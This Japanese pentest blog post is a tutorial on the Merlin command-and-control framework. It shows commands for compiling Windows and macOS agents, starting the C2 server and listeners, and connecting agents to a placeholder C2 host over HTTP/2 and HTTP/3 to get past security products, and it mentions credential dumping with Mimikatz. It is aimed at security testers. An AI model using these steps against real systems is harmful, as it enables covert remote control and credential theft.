ラック・セキュリティごった煮ブログ

セキュリティエンジニアがエンジニアの方に向けて、 セキュリティやIT技術に関する情報を発信していくアカウントです。

【お知らせ】2021年5月10日~リニューアルオープン!今後はこちらで新しい記事を公開します。

株式会社ラックのセキュリティエンジニアが、 エンジニアの方向けにセキュリティやIT技術に関する情報を発信するブログです。(編集:株式会社ラック・デジタルペンテスト部)
当ウェブサイトをご利用の際には、こちらの「サイトのご利用条件」をご確認ください。

デジタルペンテスト部提供サービス:ペネトレーションテスト

C2フレームワーク「Merlin」のすすめ


※こちらの記事は2021年2月22日公開note版「ラック・セキュリティごった煮ブログ」と同じ内容です

デジタルペンテスト部の小松奈央です。
主に OA 環境へのペネトレーションテストを担当しています。

以前、本ブログにて C2 フレームワークCovenant」の紹介記事が上がりましたが、今回は私の推し C2 フレームワークである「Merlin」について紹介したいと思います。

Covenant の紹介記事はこちら

注意:本投稿で記述した手法を用いてトラブルなどが発生した場合、当社は一切の責任を負いかねます。また、本情報の悪用はしないでください。

Merlin とは

Merlin is a cross-platform post-exploitation HTTP/2 Command & Control server and agent written in golang.(GitHub より引用)

Merlin とは、Russel Van Tuyl 氏によって開発が進められている Post-Exploitation C2 フレームワークです。Go を用いて開発されており、通信チャネルに HTTP/2 を利用できるのが特長です。

Merlin のより詳しい仕様や背景については、以下の作成者による紹介記事が参考になります。
https://medium.com/@Ne0nd0g/introducing-merlin-645da3c635a

Merlin のここがすごい!

Merlin を使用する大きなメリットは、以下の二点です。

・HTTP/2、HTTP/3 に対応している
クロスプラットフォームに対応している

1. HTTP/2、HTTP/3 に対応している

Merlin の最大の特長は、なんと言っても HTTP/2、HTTP/3 に対応している点です。様々な C2 フレームワークがまとめられている The C2 Matrix を確認しても、HTTP/2 または HTTP/3 に対応している C2 は Merlin のみとなっています。

HTTP/2、HTTP/3 は従来の HTTP/1.1 と比較してかなり新しく、セキュリティ製品がこれらのプロトコルに対応していないということも少なくありません。そのため、セキュリティ製品によって HTTP/1.1 による通信が阻まれてしまったとしても、HTTP/2、HTTP/3 であれば C2 サーバとのセッション確立ができる可能性があります。

2. クロスプラットフォームに対応している

もう一つの利点は、クロスプラットフォームに対応していることです。Merlin は Go を用いて開発されています。その Go がクロスコンパイルに対応しているため、Go がサポートしている OS および アーキテクチャであれば、Merlin を利用することが可能です。

例えば、一般的な PC 端末、サーバとして利用される WindowsmacOSLinux はもちろん、ARM アーキテクチャを採用している AndroidiOS といったモバイル端末や IoT 機器用にコンパイルすることも可能です。

実際に使ってみる

それでは、実際に Merlin を使ってみようと思います。今回使用している検証環境は以下の通りです。

・Merlin のバージョン:Merlin v0.9.1-beta
・エージェントのコンパイル環境:Ubuntu 20.04
・C2 サーバ:Ubuntu 20.04
・標的想定端末:
- Windows 10
- macOS Big Sur

C2 サーバとエージェントのコンパイル環境には、それぞれ Linux を採用しています。もちろん C2 サーバ上でエージェントをコンパイルすることも可能ですが、私の場合グローバル IP を持つ C2 サーバとは別に、コンパイル用の環境を手元に用意しています。

標的端末としては、OA 環境において一般的な Windows と、クロスプラットフォーム対応であることを活かして macOS の二つを用いて検証します。

(事前準備)エージェントのコンパイル

まずはじめに事前準備として、エージェントのコンパイルを行います。GitHubリリースページにてコンパイル済みのエージェントをダウンロードすることもできますが、これらはログが一切表示されない設定でコンパイルされているためデバッグしづらいといった欠点があります。また、コンパイル環境を整えておくことで、オプションのデフォルト値を自由に設定することが可能となるなどのメリットから、エージェントは自身でコンパイルすることを推奨します。

以下のコマンドを実行し、最新の Go をインストールします。最新のバイナリパッケージは、Go のダウンロードページを参照してください。

$ ~
$ sudo apt update
$ sudo apt install build-essential
$ wget https://golang.org/dl/go1.15.8.linux-amd64.tar.gz
$ sudo tar -C /usr/local -zxf go1.15.8.linux-amd64.tar.gz
$ echo 'export PATH=$PATH:/usr/local/go/bin' >> .bashrc
$ source .bashrc
$ go version
go version go1.15.8 linux/amd64


Merlin のソースコードをダウンロードし、WindowsmacOS 用のエージェントをコンパイルします。なお、コンパイル時に quic-go という Go モジュールがダウンロードされますが、Go1.15 をサポートしていないバージョンの quic-go がダウンロードされるため、このままではコンパイルエラーが発生してしまいます。そのため、go.mod ファイルを一部編集します。

$ go get github.com/Ne0nd0g/Merlin
$ cd go/src/github.com/Ne0nd0g/Merlin/
$ sed -i -e 's/quic-go v0.17.3/quic-go v0.18.0/' go.mod

 
WindowsmacOS 用のエージェントをコンパイルします。なお、エージェントはアンチウイルスソフトで検知されるため注意してください。

$ GOOS=windows GOARCH=amd64 go build -ldflags "-X main.protocol=http -X main.psk=gottani" -o merlin-win-amd64.exe cmd/merlinagent/main.go
$ GOOS=darwin GOARCH=amd64 go build -ldflags "-X main.protocol=http -X main.psk=gottani" -o merlin-mac-amd64 cmd/merlinagent/main.go

 
今回は WindowsmacOS 用の実行ファイルをコンパイルしていますが、上記コマンドの環境変数 GOOS および GOARCH を変更することで、Go がサポートしている数多くのプラットフォームに合わせたエージェントを作成することが可能です。Go がサポートしているプラットフォームとその環境変数こちらで確認することができます。

また、-ldflags オプションでエージェントのオプションのデフォルト値を指定することができます。よく指定するオプションは以下の通りです。ただ、ここで指定するのはあくまでオプションのデフォルト値であり、これらのオプションはエージェント実行時に指定することも可能です。

・main.url
接続先の C2 サーバの URL を指定します。(例:http://example.com:80
・main.psk
通信の暗号化に使用する事前共有鍵を指定します。
・main.proxy
経由するプロキシを指定します。このオプションは HTTP/1.1 を使用する場合のみ有効です。(例:http://example.local:8080
・main.protocol
通信に使用するプロトコルを指定します。指定可能なプロコトルは、http(HTTP/1.1 Clear-Text)、https(HTTP/1.1 over TLS)、h2c(HTTP/2 Clear-Text)、h2(HTTP/2 over TLS)、http3(HTTP/3)です。

C2 サーバのセットアップ

次に C2 サーバのセットアップを行います。C2 サーバ側のセットアップは非常に簡単で、GitHubリリースページからコンパイル済みの実行ファイルをダウンロードし、実行するだけです。

$ mkdir Merlin
$ cd Merlin/
$ wget https://github.com/Ne0nd0g/merlin/releases/download/v0.9.1-beta/merlinServer-Linux-x64.7z
$ sudo apt install p7zip-full
$ 7z x merlinServer-Linux-x64.7z # Password = merlin
$ sudo ./merlinServer-Linux-x64

 

サーバプログラムを実行すると、以下のように Merlin のコンソールが起動します。

一度、exit コマンドでコンソールから抜け、TLS 通信用のサーバ証明書を発行します。今回は検証なので、無料でサーバ証明書を発行可能な Let's Encrypt を使用します。このとき、ドメインの検証に 80/TCP を使用するため、ファイアウォールでポートを開けておきましょう。

$ sudo apt install certbot
$ sudo certbot certonly --standalone -d <example.com>
$ sudo ls /etc/letsencrypt/live/<example.com>
cert.pem  chain.pem  fullchain.pem  privkey.pem  README
$ sudo cp /etc/letsencrypt/live/<example.com>/cert.pem data/x509/server.crt
$ sudo cp /etc/letsencrypt/live/<example.com>/privkey.pem data/x509/server.key

 

Listener の作成

Merlin には、かっこいい WebUI はありませんが、コンソールは PowerShell Empire や Metasploit ライクな仕様になっているため、これらを使い慣れている人であれば操作しやすいと思います。まずは、C2 サーバのセットアップ時と同様に Merlin のサーバプログラムを実行します。

$ sudo ./merlinServer-Linux-x64

 
Merlin 起動直後の Main メニューで help コマンドを打つと、実行可能なコマンドを確認することができます。

Listener を作成するためには、listeners コマンドで Listener メニューを開き、use コマンドで Listener が使用するプロトコルを選択します。ここでは、まずは基本となる http を選択しています。

$ sudo ./merlinServer-Linux-x64
Merlin» listeners
Merlin[listeners]» use http

 
使用するプロトコルを選択すると、info コマンドで現在の Listener の設定を確認することができます。

各設定項目は以下の通りです。

・Interface
待ち受けるインタフェースを指定します。基本的には 0.0.0.0 を設定しておけば問題ありません。
・Port
待ち受けるポートを指定します。
・PSK
通信の暗号化に使用する事前共有鍵を指定します。ここで指定したものを、エージェントの実行時にも指定する必要があります。
・URLS
待ち受ける URL を指定します。
・Name
任意の Listener 名を設定します。
・Description
任意の Listener の説明を設定します。
・Protocol
Listener が使用するプロトコルです。プロトコルは Listener メニューで選択しているため、ここでは変更できません。

実際に環境に合わせて、set コマンドで設定を変更します。

Merlin[listeners][http]» set Interface 0.0.0.0
Merlin[listeners][http]» set PSK gottani
Merlin[listeners][http]» set Name http
Merlin[listeners][http]» set Description http listener

 
変更後、info コマンドで再度設定を確認し、問題がなければ start コマンドで Listener を起動します。

Listener メニューで list コマンドを実行することで、作成された Listener の一覧を確認することができます。

エージェントの実行

ここまで来たら、後は実際に標的想定端末上でエージェントを実行するだけです。エージェントは以下のオプションを指定可能です。

まずは Windows 10 上でエージェントを実行してみます。

C2 サーバとのセッションが確立すると、Merlin のコンソールにチェックインに成功した旨のログが出力されます。

続いて、macOS Big Sur 上でエージェントを実行します。

Merlin の Main メニューで sessions コマンドを実行すると、C2 サーバと接続しているエージェントの一覧を確認することができます。

WindowsmacOS ともに C2 サーバとセッション確立できていることが確認できます。

エージェントの操作

C2 サーバとのセッション確立後のエージェントの操作について、簡単に解説します。まずは、Main メニューから interact コマンドで Agent メニューに遷移します。このとき、エージェントの UUID を指定しますが、Merlin はタブ補完が効くので入力はそこまで煩わしくありません。

Agent メニューに遷移後、info コマンドを実行することでエージェントの詳細を確認することができます。

また、Agent メニューで help コマンドを打つと、実行可能なコマンドを確認することができます。

一般的な C2 フレームワークと同様に、任意のコマンド実行やファイルのダウンロード、アップロードが可能です。

また、ここでは詳しい説明を省きますが、Merlin には多くのモジュールが実装されており、これらのモジュールをエージェントに実行させることが可能です。現在実装されているモジュールの一覧は以下の通りです。

例えば、標的想定端末が Windows であれば、Mimikatz をロードして認証情報をダンプすることなどが可能です。

HTTP/2、HTTP/3 の使用

ここまで長くなってしまいましたが、最後に Merlin の最大の特長である、HTTP/2、HTTP/3 によるセッション確立を行ってみようと思います。HTTP/2 および HTTP/3 それぞれの Listener を以下のような設定で作成し、起動します。


次に、標的想定端末上で Wireshark によるパケットキャプチャを行いながら、エージェントを起動します。

C:\> merlin-win-x64.exe -proto h2c -psk gottani -url http://<example.com>:80 -v
C:\> merlin-win-x64.exe -proto http3 -psk gottani -url https://<example.com>:443 -v

セッション確立時の通信を見てみると、それぞれ HTTP/2 と QUIC(HTTP/3 は QUIC というプロトコル上でやり取りされる)によって通信が行われていることを確認できます。


まとめ

今回は、「HTTP/2、HTTP/3 対応」クロスプラットフォーム対応」といった特長を持つ C2 フレームワーク Merlin を紹介しました。

「エージェントのコンパイル」で軽く触れた通り、HTTP/1.1 使用時にしかプロキシを設定できないなどといったかゆいところに手が届かない部分もありますが、かなり活発に開発が進められていることもあり今後より使いやすくなることが期待できます。

この記事を読んで Merlin が気になったセキュリティ技術者の方は、手元の環境で動かしてみるところから、ぜひ始めてみてください。

リファレンス

・Merlin
https://github.com/Ne0nd0g/merlin
・Merlin Command and Control framework
https://merlin-c2.readthedocs.io/en/latest/index.html
・Introducing Merlin — A cross-platform post-exploitation HTTP/2 Command & Control Tool
https://medium.com/@Ne0nd0g/introducing-merlin-645da3c635a
・C2Matrix
https://www.thec2matrix.com/